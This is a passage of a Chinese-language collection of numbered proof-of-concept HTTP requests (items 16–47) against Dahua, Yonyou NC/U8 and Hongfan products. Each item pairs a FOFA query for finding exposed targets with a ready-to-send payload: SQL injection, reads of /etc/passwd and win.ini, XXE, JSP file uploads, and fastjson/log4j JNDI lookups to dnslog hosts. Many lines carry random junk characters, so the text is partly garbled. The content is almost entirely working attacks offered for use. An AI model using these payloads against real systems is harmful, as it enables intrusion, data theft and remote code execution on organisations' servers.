7 j1 b" V' W, OConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
' Y5 ]; F0 Y3 W4 C' OAccept-Language: en
sec-ch-ua-platform: Windows
3 q, j- r% \, i; @1 M& \1 W/ vAccept-Encoding: gzip


9 z: i2 M$ C6 g; T& R& N16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
  @7 M2 l! ]' O, k- ~1 h8 j( W+ Upoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

" g% U5 K3 j$ J4 ~" z: }3 Z3 M
0 U; ~9 C( X- G8 T- w17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
+ V& r, A4 M- D7 ?# Y* Z8 e  h! y+ AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  B7 f4 U6 f9 VContent-Length: 345
! L. W; S) f' n6 O/ |Accept-Encoding: gzip

7 m. n7 c' \  I& l, w3 \<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 O, Z+ u$ x0 y: P+ i$ @<s11:Body>
$ V) U- b. ]6 B6 k2 E! U8 T    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
0 N2 O7 l# R% o5 @. B       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
1 _5 v) U6 B6 c5 f; w& \* v    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
: Y/ {! @1 ]0 S

* {  Q6 h6 x) q% Y1 s. h% O. [8 d& f8 P18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
7 ?# J4 \, {: \0 W( g% w. |2 NFOFA：app="dahua-DSS"
7 O" ^7 g; _/ F5 B8 r5 Y8 [! K" _) fGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) I) p9 e- N3 r+ v7 X' t' r* ?1 CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
4 ]6 g* G0 S* m7 j) Y+ }: hConnection: keep-alive

/ o2 T5 ]( w. e; f# X; b7 H8 \

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
, h# n3 O8 g# j; U% H! BUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
/ q! J7 S  B( ~$ H6 yAccept: */*
Connection: keep-alive
  A: c1 K' O% U% J0 m  B

% {5 l8 l# c7 |+ g20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 X" {$ A1 r0 pConnection: close
Accept: */*
& w6 L' T  x6 R: t5 u2 fAccept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
9 C/ f- |3 X: \4 v8 [9 WFOFA：icon_hash="-1935899595"
( r* ]9 h8 a0 f4 O" OPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
+ C, d  f% ~# u( x/ jHost: x.x.x.x
9 O9 k2 s9 r) b# IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 R* ^0 n+ |% A+ m6 gContent-Length: 161
Accept-Encoding: gzip
1 T) b" ?4 c8 a3 B8 RConnection: close
Content-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
. x5 ]" L- M! o8 a6 U. g+ `  }""
( Y/ v1 Q/ c# g& z}

: r! D7 N4 Y6 H. ^( g7 S
# U; N( h& F( e& O! {22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
. t! t, M' O% w# }2 cHost: your-ip
/ r4 r; k* o( T% Y% m6 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

2 h# a. k' K: E; ^{
7 p% }7 q' f9 }: h5 m" g"loginName":"${jndi:ldap://dnslog}"
}
  V& q5 ^( i' t. l6 n/ ]6 h4 ?


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
2 j5 J% ?4 I5 E4 t" LFOFA：icon_hash="-1935899595"
: {) p! y& o- ]POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
4 m* S" b+ `: ?# H# j! E  dHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
) d, \, T; `2 o0 n- J3 HAccept-Encoding: gzip
6 \  R" c3 q/ ]6 W, aConnection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
1 \" Z3 o4 d/ |! L+ g& Z8 ^+ S        }""
}
$ V$ V# I  t5 _( i
  k" U3 f, U0 h; X
" A& b6 z3 H! c: n24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
" ?+ F5 y$ D* H' C. |POST /aim/equipmap/accept.jsp HTTP/1.1
2 L/ U" r$ U; t; m! Q8 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
' B" f9 M7 y6 x5 |  S) gAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

3 F+ f4 I. F9 i' h2 P2 I" `, z$ s-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
) I8 W6 o" r# `- X3 V! @
+ S: `" W% |$ G' |3 ~! e* X<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
8 r3 [! }& f5 U! q; q9 P-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
  E; f9 N$ i2 w! ?- D: e" QPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 C* F( C2 o, g' T* [. @Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog


- O+ x1 Q. a/ Z* ]
" \$ X' R2 a4 b: P1 G: p' E26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
9 Y9 i7 d7 Z* \: i8 e5 v. SGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( }$ @0 p2 x7 y/ DHost: your-ip
: b; |  r- g& A; rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
9 N; N7 i* {: x' L( IAccept-Encoding: gzip, deflate
  J  h8 }9 H4 [5 b; Y# rAccept: */*
& @2 x' L) Y8 \. D+ j( L6 VConnection: keep-alive
  N" @  c# t* k+ C5 D8 s
; E) ~+ p; a5 C/ t8 X
% T' z0 Y% p; [, d% w! ?# o27. 用友 NC showcontent SQL注入
! n! c% z1 |; i7 }% G% S/ dFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
9 K$ p! p$ }' _3 PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
0 s% P# V$ y8 o% EConnection: close
Content-Type: text/xml; charset=utf-8

0 a  S; h. J7 z3 w  p; X- b
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
: N7 [0 ]  X% g+ n; K3 PPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
6 t& _) l* C* dContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& ]9 r' {8 T) s8 D9 t5 x5 c8 w3 G2 K8 TAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
2 o4 B. j8 e$ s4 K; x2 e/ R
& Y* f' E6 f+ \4 ~2 b( t# f; Y& I1 h<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
% P, J3 b; L+ i9 M( R
: B" E5 I0 o9 c; m1 m
/uapim/static/pages/nc/head.jsp
  S+ R& ?" ~8 A1 q% V0 i6 v$ H6 k
29. 用友NC down/bill SQL注入
! M4 S# G! a% U7 q6 l9 AFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
6 o' O# A  b2 ]7 QGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
, X0 G' Z2 J5 i8 p& C  L2 nHost: your-ip
( F! J+ Y$ |; {! u# aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 p- M2 W6 k5 FContent-Type: application/x-www-form-urlencoded
7 i% ?  L: m/ oAccept-Encoding: gzip, deflate
% h/ ^9 M: N/ n; w& eAccept: */*
Connection: keep-alive
. O7 G& X0 Y" D- h( f2 t" G

30. 用友NC importPml SQL注入
  A$ c) m9 S' V' r+ T/ NFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
5 N- A/ ?2 ]0 y: N; aHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 C8 }2 _0 @3 F  S8 S1 ]Connection: close

, ^, Y& V5 y: u0 l! z+ O------WebKitFormBoundaryH970hbttBhoCyj9V
9 d: [/ g  t! \2 F0 z' R# KContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
& Y$ v! a  a6 ~6 cContent-Type: image/jpeg
0 r5 r1 Q! @! |! r------WebKitFormBoundaryH970hbttBhoCyj9V--

! T6 z1 m5 x2 ~8 q, f1 R) P4 V
5 C$ l8 k7 E2 j- c31. 用友NC runStateServlet SQL注入
version<=6.5
9 I5 x1 A; u' u' u( F& ]$ UFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
# R' A. L" u0 F# X. ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 d; L4 b2 c/ M1 R5 ?& y! ?+ @8 ^

0 n' {/ G% L* l32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
8 M; h, g9 \6 X3 z' t0 KFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 R. |6 _* e! I  GHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
" F3 I5 h2 u. B" ?Connection: keep-alive

9 e6 U4 x' ?1 }) ?( s
: E/ c) H) Z( ]. A7 Q. y33. 用友NC downTax/download SQL注入
4 P8 y% l, B  Lversion：NC6.5FOFA：app="用友-UFIDA-NC"
3 `2 P8 V3 O7 t6 N0 \8 J1 g+ bGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' e2 m% [& ^/ b  y6 T* S3 aHost: your-ip
' U1 L' f* e/ p% G0 @+ @1 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
+ B0 e) R, i+ ?! P$ F, NConnection: keep-alive

- q7 {: w* u! j$ c) |1 B+ N
6 ^# B, _4 D* ^( X5 |3 P% I34. 用友NC warningDetailInfo接口SQL注入
. ^$ S! _6 K- {7 R$ QFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, x' S. \; a2 H5 R  dHost: your-ip
2 b4 x- R3 I9 U% rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 R& w+ b$ V* Z3 b- ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
2 ~/ h& b9 K1 p* y. ZConnection: keep-alive


& I/ y# R1 F( _# o' N2 H$ Z35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
0 u; y5 p  Y" V9 K/ jUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
/ L3 p: y0 @8 F! W4 `Accept-Encoding: gzip, deflate
1 @6 d' x: w5 H& T9 kAccept: */*
' [2 U5 X4 V& h) q0 ~Connection: close
/ \& H! C# J0 g- f0 ]- p, GaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
% }5 g! A5 f0 s5 l# c: ?3 v: hContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
/ h/ X: `' I% g$ q3 l
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
, w0 s' o/ T5 X% _3 A' S+ v" k
<%out.println(1111*1111);%>
! X' J( D6 M6 z: s$ \1 D* P--fd28cb44e829ed1c197ec3bc71748df0--
# e6 Q* F+ \" C7 e3 \6 Y  Z; Q

36. 用友NC-Cloud soapFormat XXE
5 X7 O  ]- x4 I8 G# z9 M. k4 GFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
2 E+ ~4 O& M3 z& rPOST /uapws/soapFormat.ajax HTTP/1.1
+ Z, f0 t, \7 R% h( }Host: 192.168.40.130:8989
' ^, C: T, w" s9 B5 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
( M) t* `! u. ~; S# m- iContent-Type: application/x-www-form-urlencoded
9 U: R6 G3 B" {$ m4 {& WUpgrade-Insecure-Requests: 1
4 z# @0 v3 J. ~
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

( J6 r# I  M9 q$ n+ t) S& n" K
/ k7 F2 {+ H- q; m, _8 G6 e37. 用友NC-Cloud IUpdateService XXE
$ Y5 x: G" K1 `" {FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
) O- a; ~- h3 r" eContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: \; i, y/ n* @) T7 b. OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
# P  k2 m$ L$ ]! ZUpgrade-Insecure-Requests: 1

. Y+ E  k$ b- D2 n! V) w' l; p<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
* H# c/ A* F( L2 A5 l* T<iup:getResult>
. b6 p6 t  F" x; p3 n' Z. M<!--type: string-->
<iup:string><![CDATA[
7 @0 ^* |7 D. J- z( x  e8 v<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
+ \* o! k7 b% Y</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
# d7 |; H, [  ], ?2 h
3 N( f3 X8 m; o5 W" `% F7 d& o( F

38. 用友U8 Cloud smartweb2.RPC.d XXE
* \; v: P3 O9 U- W* N( @, m6 mFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
' N0 o1 Q( L: c  j, BContent-Length: 260
9 {. ]- F' y4 Y( M9 C. bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* B: m; H  p$ p: \/ ZConnection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

6 ?* q2 t  L: Q* C+ j8 i- Y+ C0 G! s
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
) T" |* p- G) G8 S: H3 w# WPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
$ p1 T" |6 b. p1 e+ ~Connection: close
Content-Length: 85
8 L# o) s1 q' r# r( h! r8 G3 nAccept: */*
" X4 g0 ~2 g0 t1 pAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
7 E* l3 F& D9 }Accept-Encoding: gzip
1 R- y* ~. e; N0 D
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

2 f4 Q1 T1 b. f- P6 R) T4 F, p
8 Z$ k2 b$ x+ _. r% k1 W2 u40. 用友U8-Cloud XChangeServlet XXE
4 J, q9 ~* L1 B# a. oFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) c+ p& V2 Y* t6 k1 A! ]Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
1 N2 s5 D7 ?: ]0 {7 o

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
$ [8 O- Y6 j/ e+ O! rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 U. Y  A  e. L% S# r6 T: j7 ~Content-Type: application/json
" O* Y9 r8 S- G1 i8 lAccept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
: L4 P: L2 D1 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

% A' V8 T, W, y5 `9 |9 h2 \1 @PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

* F/ m. M" D( _9 q43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
0 I* R. q* h- W0 L" v0 R- \# uPOST /services/userInfoWeb HTTP/1.1
. W! A' x4 n; t/ j$ tHost: your-ip
, B1 _$ s% {1 n4 O4 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ @( ?) `5 G. Q; q5 YAccept-Encoding: gzip, deflate
, N+ l, a  U( b0 y" i( J$ F3 VAccept-Language: zh-CN,zh;q=0.9
Connection: close
' b/ h& p0 \0 H& w* YSOAPAction:
: p' c6 D% a' M2 @Content-Type: text/xml;charset=UTF-8
! n, K1 i& V1 ?# |
( Z  b( E' o. a0 _: v3 m& x8 y<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
. ]! n) A9 `# h4 n         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
1 S2 S% f; ?" J5 ]& b: A% o- O      </ser:getUserNameById>
   </soapenv:Body>
- }+ Q) P* ?  {2 g, v8 w( A: |</soapenv:Envelope>

$ k* U. k2 n  R" x% v  B+ \
- v  h4 K4 ~/ B" o1 n) O# W. j44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
- q2 i3 _7 E1 |' _0 W/ ~' G+ xGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
4 \, R1 ]9 t& P" ^; P) Z# {* lHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; s3 R) j9 y" z* S; h3 b9 B8 Y7 ~Accept-Encoding: gzip, deflate
* G- U4 {0 ?# ]# `  e0 BAccept-Language: zh-CN,zh;q=0.9
& |% k; B; n: V" W0 I+ oConnection: close

/ c" Z2 m$ E/ t2 s$ o0 e! u
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
4 x! ^# f3 M9 b; OHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
$ j) x* d& ^. x( GContent-Length: 161
+ Q) v5 R  t  `$ a- Q6 q# \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 }: q- e5 o, v8 n# o% ?& pContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* t/ ?0 \2 A; m, P. V1 r( ?
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
% I8 w. J0 G$ w

' v/ H$ ?, Z$ b: r  w  d46. 用友GRP-U8 sqcxIndex.jsp SQL注入
7 [  Y8 n  u2 JFOFA：app="用友-GRP-U8"
5 L  M2 x: L& G. i, J( xGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
2 q9 R( C# t3 p$ B5 `, K) PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# j  x/ h" P7 ^3 y) Q, ^! B. KAccept-Encoding: gzip, deflate
  O' D6 P  X$ _( r9 d9 Y! ~Accept-Language: zh-CN,zh;q=0.9
5 n; A, o2 \. F5 f' ^$ a0 v9 BConnection: close
; L) [" ^6 _0 u+ H: `  H

47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
* N' Z$ f7 W1 D$ r1 _Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
